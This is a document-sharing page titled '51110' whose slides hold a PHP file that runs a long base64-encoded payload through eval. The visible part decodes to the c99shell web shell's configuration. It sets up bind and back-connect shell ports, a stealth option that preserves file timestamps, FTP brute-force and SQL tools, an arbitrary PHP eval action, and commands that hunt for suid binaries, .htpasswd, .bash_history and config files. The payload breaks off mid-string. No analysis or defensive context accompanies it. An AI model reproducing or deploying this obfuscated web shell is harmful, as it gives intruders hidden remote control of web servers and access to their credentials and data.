Submit Search
Upload
51110
•
Download as TXT, PDF
•
0 likes
•
226 views
S
swsw1
Follow
Report
Share
Report
Share
1 of 43
Download now
Recommended
Shell.php
Shell.php
Med Mohamed
C99
C99
sosoion
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
Joseph Scott
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
DefconRussia
Export channel switching_150424
Export channel switching_150424
Yin Changjian
HTTP For the Good or the Bad - FSEC Edition
HTTP For the Good or the Bad - FSEC Edition
Xavier Mertens
Cracking Salted Hashes
Cracking Salted Hashes
n|u - The Open Security Community
An introduction to PHP 5.4
An introduction to PHP 5.4
Giovanni Derks
Recommended
Shell.php
Shell.php
Med Mohamed
C99
C99
sosoion
Anatomy of a PHP Request ( UTOSC 2010 )
Anatomy of a PHP Request ( UTOSC 2010 )
Joseph Scott
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
DefconRussia
Export channel switching_150424
Export channel switching_150424
Yin Changjian
HTTP For the Good or the Bad - FSEC Edition
HTTP For the Good or the Bad - FSEC Edition
Xavier Mertens
Cracking Salted Hashes
Cracking Salted Hashes
n|u - The Open Security Community
An introduction to PHP 5.4
An introduction to PHP 5.4
Giovanni Derks
Context-aware and user centered evaluation of assistive systems
Context-aware and user centered evaluation of assistive systems
Jesús Fontecha
Gourav
Gourav
samadhan wandre
Reavtemp1
Reavtemp1
findgooodjob
maria CV
maria CV
Maria Stefanus
Vemurafenib 918504-65-1-api
Vemurafenib 918504-65-1-api
Vemurafenib-918504-65-1-api
Бизнесът в игрите и игрите в бизнеса
Бизнесът в игрите и игрите в бизнеса
Ivelin Belchev
ONG_CHUNG_SIN_SGP110004
ONG_CHUNG_SIN_SGP110004
CHUNG SIN ONG
Trends 2015: The importance of certification for internationalization by Diog...
Trends 2015: The importance of certification for internationalization by Diog...
Strongstep - Innovation in software quality
Gr el coll_health022015
Gr el coll_health022015
George Taramigkos
P3 power point 2010
P3 power point 2010
Trần Kỳ
Tatip 2k15
Tatip 2k15
Bambang Haris Setyawan
Catalogue-2015
Catalogue-2015
Jennifer Chen
TRANING CERTIFICATE
TRANING CERTIFICATE
SUBANDHU DUTTA looking for new opportunity
Michael Vittori Wmt2015
Michael Vittori Wmt2015
Roberto Serra
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Viadigitale.it
c99
c99
guest4eb0bf24
Sym.php;doc
Sym.php;doc
Akkib Mushtaq
Sh.php
Sh.php
reza noyz
Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説
Akihiro Nitta
C99
C99
You Bl
wreewrer
wreewrer
JohnHotyn
Pagos electrónicos web
Pagos electrónicos web
Yerko Bravo
More Related Content
Viewers also liked
Context-aware and user centered evaluation of assistive systems
Context-aware and user centered evaluation of assistive systems
Jesús Fontecha
Gourav
Gourav
samadhan wandre
Reavtemp1
Reavtemp1
findgooodjob
maria CV
maria CV
Maria Stefanus
Vemurafenib 918504-65-1-api
Vemurafenib 918504-65-1-api
Vemurafenib-918504-65-1-api
Бизнесът в игрите и игрите в бизнеса
Бизнесът в игрите и игрите в бизнеса
Ivelin Belchev
ONG_CHUNG_SIN_SGP110004
ONG_CHUNG_SIN_SGP110004
CHUNG SIN ONG
Trends 2015: The importance of certification for internationalization by Diog...
Trends 2015: The importance of certification for internationalization by Diog...
Strongstep - Innovation in software quality
Gr el coll_health022015
Gr el coll_health022015
George Taramigkos
P3 power point 2010
P3 power point 2010
Trần Kỳ
Tatip 2k15
Tatip 2k15
Bambang Haris Setyawan
Catalogue-2015
Catalogue-2015
Jennifer Chen
TRANING CERTIFICATE
TRANING CERTIFICATE
SUBANDHU DUTTA looking for new opportunity
Michael Vittori Wmt2015
Michael Vittori Wmt2015
Roberto Serra
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Viadigitale.it
Viewers also liked
(15)
Context-aware and user centered evaluation of assistive systems
Context-aware and user centered evaluation of assistive systems
Gourav
Gourav
Reavtemp1
Reavtemp1
maria CV
maria CV
Vemurafenib 918504-65-1-api
Vemurafenib 918504-65-1-api
Бизнесът в игрите и игрите в бизнеса
Бизнесът в игрите и игрите в бизнеса
ONG_CHUNG_SIN_SGP110004
ONG_CHUNG_SIN_SGP110004
Trends 2015: The importance of certification for internationalization by Diog...
Trends 2015: The importance of certification for internationalization by Diog...
Gr el coll_health022015
Gr el coll_health022015
P3 power point 2010
P3 power point 2010
Tatip 2k15
Tatip 2k15
Catalogue-2015
Catalogue-2015
TRANING CERTIFICATE
TRANING CERTIFICATE
Michael Vittori Wmt2015
Michael Vittori Wmt2015
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Internazionalizzazione e Delocalizzazione d'impresa: Il caso Austria
Similar to 51110
c99
c99
guest4eb0bf24
Sym.php;doc
Sym.php;doc
Akkib Mushtaq
Sh.php
Sh.php
reza noyz
Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説
Akihiro Nitta
C99
C99
You Bl
wreewrer
wreewrer
JohnHotyn
Pagos electrónicos web
Pagos electrónicos web
Yerko Bravo
New Text Document
New Text Document
guest69f2cd
GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討
Tomoki Koriyama
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Peter Martin
Similar to 51110
(10)
c99
c99
Sym.php;doc
Sym.php;doc
Sh.php
Sh.php
Variational Autoencoder (VAE) 解説
Variational Autoencoder (VAE) 解説
C99
C99
wreewrer
wreewrer
Pagos electrónicos web
Pagos electrónicos web
New Text Document
New Text Document
GPR音声合成における深層ガウス過程の利用の検討
GPR音声合成における深層ガウス過程の利用の検討
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
Help mijn website is gehackt - Joomla User Group Den Bosch 2014
51110
1.
<?php eval(base64_decode('CmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0 aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3Rp bWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319CmVycm9yX3JlcG9ydGlu Zyg1KTsKQGlnbm9yZV91c2VyX2Fib3J0KFRSVUUpOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAp Owokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOwpkZWZpbmUoInN0 YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOwppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICgh ZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lm IChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigk aykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBz bGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2Uo JF9DT09LSUUsJF9HRVQsJF9QT1NUKTsKZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFp c3NldCgkJGspKSB7JCRrID0gJHY7fX0KCiRzaHZlciA9ICIxLjAgcHJlLXJlbGVhc2UgYnVpbGQgIzE2 IjsgLy9DdXJyZW50IHZlcnNpb24KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUwppZiAoIWVtcHR5 KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30KZWxzZWlm ICghZW1wdHkoJHNldF9zdXJsKSkgeyRzdXJsID0gJHNldF9zdXJsOyBzZXRjb29raWUoImM5OXNoX3N1 cmwiLCRzdXJsKTt9CmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07IC8vU2V0IHRo aXMgY29va2llIGZvciBtYW51YWwgU1VSTAp9Cgokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsg Ly9JZiBUUlVFIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQg c2F2ZSBpdCBpbiBTVVJMLgoKaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUgYW5kICEkX1JFUVVFU1Rb ImM5OXNoX3N1cmwiXSkgeyRpbmNsdWRlID0gIiYiOyBmb3JlYWNoIChleHBsb2RlKCImIixnZXRlbnYo IlFVRVJZX1NUUklORyIpKSBhcyAkdikgeyR2ID0gZXhwbG9kZSgiPSIsJHYpOyAkbmFtZSA9IHVybGRl Y29kZSgkdlswXSk7ICR2YWx1ZSA9IHVybGRlY29kZSgkdlsxXSk7IGZvcmVhY2ggKGFycmF5KCJodHRw Oi8vIiwiaHR0cHM6Ly8iLCJzc2w6Ly8iLCJmdHA6Ly8iLCJcXFxcIikgYXMgJG5lZWRsZSkge2lmIChz dHJwb3MoJHZhbHVlLCRuZWVkbGUpID09PSAwKSB7JGluY2x1ZGVzdHIgLj0gdXJsZW5jb2RlKCRuYW1l KS4iPSIudXJsZW5jb2RlKCR2YWx1ZSkuIiYiO319fSBpZiAoJF9SRVFVRVNUWyJzdXJsX2F1dG9maWxs X2luY2x1ZGUiXSkgeyRpbmNsdWRlc3RyIC49ICJzdXJsX2F1dG9maWxsX2luY2x1ZGU9MSYiO319Cmlm IChlbXB0eSgkc3VybCkpCnsKICRzdXJsID0gIj8iLiRpbmNsdWRlc3RyOyAvL1NlbGYgdXJsCn0KJHN1 cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsKCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQg b2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVu bGltaXRlZC4KCi8vQXV0aGVudGljYXRpb24KJGxvZ2luID0gIiI7IC8vbG9naW4KLy9ET04nVCBGT1JH T1QgQUJPVVQgUEFTU1dPUkQhISEKJHBhc3MgPSAiIjsgLy9wYXNzd29yZAokbWQ1X3Bhc3MgPSAiIjsg Ly9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykKCiRob3N0X2FsbG93ID0gYXJyYXko IioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NU IGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikKJGxvZ2luX3R4dCA9ICJSZXN0cmlj dGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLgokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVm PVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbFwiPmM5OXNoZWxsIHYuIi4kc2h2ZXIu IjwvYT46IGFjY2VzcyBkZW5pZWQiOwoKJGd6aXBlbmNvZGUgPSBUUlVFOyAvL0VuY29kZSB3aXRoIGd6 aXA/CgokdXBkYXRlbm93ID0gRkFMU0U7IC8vSWYgVFJVRSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJs ZSB3aWxsIGJlIEZBTFNFKQoKJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0 ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXIKJGM5OXNoX3NvdXJjZXN1cmwgPSAiaHR0cDovL2Nj dGVhbS5ydS9maWxlcy9jOTlzaF9zb3VyY2VzLyI7IC8vU291cmNlcy1zZXJ2ZXIKCiRmaWxlc3RlYWx0 aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lCgok ZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+PGI+T3duZWQgYnkgaGFja2VyPC9iPjwvY2VudGVyPiI7Ci8q IElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoCmFkZCBsaW5rIHRvIHlvdXIgc2l0 ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sCnB1dCBoZXJlIHlvdXIgaHRtbC4gKi8KJGRvbmF0ZWRf YWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4g dGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLgoKJGN1cmRpciA9ICIuLyI7IC8vc3RhcnQg Zm9sZGVyCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOwokdG1wZGlyID0gIiI7IC8v Rm9sZGVyIGZvciB0ZW1wb3J5IGZpbGVzLiBJZiBlbXB0eSwgYXV0by1maWxsICgvdG1wIG9yICVXSU5E SVIvdGVtcCkKJHRtcGRpcl9sb2cgPSAiLi8iOyAvL0RpcmVjdG9yeSBsb2dzIG9mIGxvbmcgcHJvY2Vz c2VzIChlLmcuIGJydXRlLCBzY2FuLi4uKQoKJGxvZ19lbWFpbCA9ICJ1c2VyQGhvc3QudGxkIjsgLy9E ZWZhdWx0IGUtbWFpbCBmb3Igc2VuZGluZyBsb2dzCgokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZh dWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRp bmcKJHNvcnRfc2F2ZSA9IFRSVUU7IC8vSWYgVFJVRSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1 c2luZyBjb29raWVzLgoKLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLgovLyAgYXJyYXkoCi8vICAgInth Y3Rpb24xfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksCi8vICAgInthY3Rpb24yfSI9 PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksCi8vICAgLi4uCi8vICApCiRmdHlwZXMgID0g YXJyYXkoCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwKICJ0eHQiPT5hcnJheSgi dHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJo dGFjY2VzcyIpLAogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwKICJpbmki PT5hcnJheSgiaW5pIiwiaW5mIiksCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJw aHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksCiAiaW1nIj0+YXJy YXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwi
2.
dGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwKICJzZGIiPT5hcnJheSgic2RiIiksCiAicGhwc2VzcyI9 PmFycmF5KCJzZXNzIiksCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwi bG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQopOwoKLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZp bGUtdHlwZXMuCi8vICBhcnJheSgKLy8gICBzdHJpbmcgImNvbW1hbmR7aX0iPT5hcnJheSgiZXh0MSIs ImV4dDIiLCJleHQzIiwuLi4pLAovLyAgIC4uLgovLyAgKQovLyAgIHtjb21tYW5kfTogJWYlID0gZmls ZW5hbWUKJGV4ZWZ0eXBlcyAgPSBhcnJheSgKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJy YXkoInBocCIsInBocDMiLCJwaHA0IiksCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpCik7 CgovKiBIaWdobGlnaHRlZCBmaWxlcy4KICBhcnJheSgKICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9 LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pCiAgIC4uLgogICkKICBzdHJpbmcge3JlZ2V4cH0g LSByZWd1bGFyIGV4cC4KICBpbnQge3R5cGV9OgowIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1 bHQpLAoxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQogIHN0cmluZyB7b3BlbnRhZ30gLSBv cGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQogIHN0cmluZyB7Y2xvc2V0YWd9IC0gY2xv c2UgaHRtbC10YWcsIGUuZy4gIjwvYj4iIChkZWZhdWx0KQogIGJvb2wge2JyZWFrfSAtIGlmIFRSVUUg YW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsKKi8KJHJlZ3hwX2hpZ2hsaWdodCAgPSBhcnJheSgKICBh cnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dc Ij4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUKICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBs ZQopOwoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9y IGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4KIC8vIGFycmF5IChpPT57bGV0dGVyfSAuLi4pOyBzdHJp bmcge2xldHRlcn0gLSBsZXR0ZXIgb2YgYSBkcml2ZQovLyRzYWZlbW9kZV9kaXNrZXR0ZXMgPSByYW5n ZSgiYSIsInoiKTsKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUK JGhleGR1bXBfcm93cyA9IDI0Oy8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQoKJG5peHB3 ZHBlcnBhZ2UgPSAxMDA7IC8vIEdldCBmaXJzdCBOIGxpbmVzIGZyb20gL2V0Yy9wYXNzd2QKCiRiaW5k cG9ydF9wYXNzID0gImM5OSI7ICAvLyBkZWZhdWx0IHBhc3N3b3JkIGZvciBiaW5kaW5nCiRiaW5kcG9y dF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nCiRiY19wb3J0ID0gIjMx MzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiYWNrLWNvbm5lY3QKJGRhdGFwaXBlX2xvY2FscG9ydCA9 ICI4MDgxIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBkYXRhcGlwZQoKLy8gQ29tbWFuZC1hbGlhc2VzCmlm ICghJHdpbikKewogJGNtZGFsaWFzZXMgPSBhcnJheSgKICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAibHMgLWxhIiksCiAgYXJy YXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIp LAogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYg LXBlcm0gLTA0MDAwIC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAt dHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJl bnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICBhcnJheSgiZmluZCBj b25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIp LAogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25m aWcqXCIiKSwKICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQg LiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZv bGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwKICBhcnJheSgiZmluZCBhbGwg d3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0y IC1scyIpLAogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUg ZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1 cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksCiAgYXJyYXkoImZp bmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwK ICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBl IGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMi LCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIC5iYXNo X2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hf aGlzdG9yeSIpLAogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10 eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVz IGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLAogIGFy cmF5KCJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5 c3RlbSIsICJsc2F0dHIgLXZhIiksCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQg LWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQogKTsKfQplbHNlCnsKICRjbWRhbGlhc2VzID0gYXJyYXkoCiAg YXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tIiwgImRpciIpLAogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIp CiApOwp9Cgokc2Vzc19jb29raWUgPSAiYzk5c2h2YXJzIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUK CiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbgokY29weV91bnNldCA9IEZBTFNFOyAv L1JlbW92ZSBjb3BpZWQgZmlsZXMgZnJvbSBidWZmZXIgYWZ0ZXIgcGFzdGluZwoKLy9RdWljayBsYXVu Y2gKJHF1aWNrbGF1bmNoID0gYXJyYXkoCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1n JmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1c IjBcIj4iLCRzdXJsKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tc IiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiN cIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ hY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiRm9yd2FyZFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCI
3.
yMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwKIGFycmF5KCI 8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCI yMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSV zb3J0IiksCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx 0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSw KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNlYXJjaFwiIGFsdD1cIlNlYXJ jaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2V hcmNoJmQ9JWQiKSwKIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclw iIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCR zdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwKIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1 lbmNvZGVyJmQ9JWQiKSwKIGFycmF5KCI8Yj5Ub29sczwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCI pLAogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wcm9jZXNzZXMmZD0lZCIpLAogYXJyYXk oIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksCiBhcnJheSg iPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLAogYXJyYXkoIjxiPlNRTDwvYj4 iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwKIGFycmF5KCI8Yj5QSFAtY29kZTwvYj4iLCRzdXJsLiJhY3Q 9ZXZhbCZkPSVkIiksCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1cmwuImFjdD11cGRhdGUmZD0lZCI pLAogYXJyYXkoIjxiPkZlZWRiYWNrPC9iPiIsJHN1cmwuImFjdD1mZWVkYmFjayZkPSVkIiksCiBhcnJ heSgiPGI+U2VsZiByZW1vdmU8L2I+Iiwkc3VybC4iYWN0PXNlbGZyZW1vdmUiKSwKIGFycmF5KCI8Yj5 Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5 kb3cuY2xvc2UoKSIpCik7CgovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycwokaGlnaGxpZ2h0X2JhY2tncm9 1bmQgPSAiI2MwYzBjMCI7CiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7CiRoaWdobGlnaHRfY29tbWV udCA9ICIjNkE2QTZBIjsKJGhpZ2hsaWdodF9kZWZhdWx0ID0gIiMwMDAwQkIiOwokaGlnaGxpZ2h0X2h 0bWwgPSAiIzEzMDBGRiI7CiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsKJGhpZ2hsaWdodF9 zdHJpbmcgPSAiIzAwMDAwMCI7CgpAJGYgPSAkX1JFUVVFU1RbImYiXTsKQGV4dHJhY3QoJF9SRVFVRVN UWyJjOTlzaGNvb2siXSk7CgovL0VORCBDT05GSUdVUkFUSU9OCgoKLy8gXC9OZXh0IGNvZGUgaXNuJ3Q gZm9yIGVkaXRpbmdcLwpAc2V0X3RpbWVfbGltaXQoMCk7CiR0bXAgPSBhcnJheSgpOwpmb3JlYWNoKCR ob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19 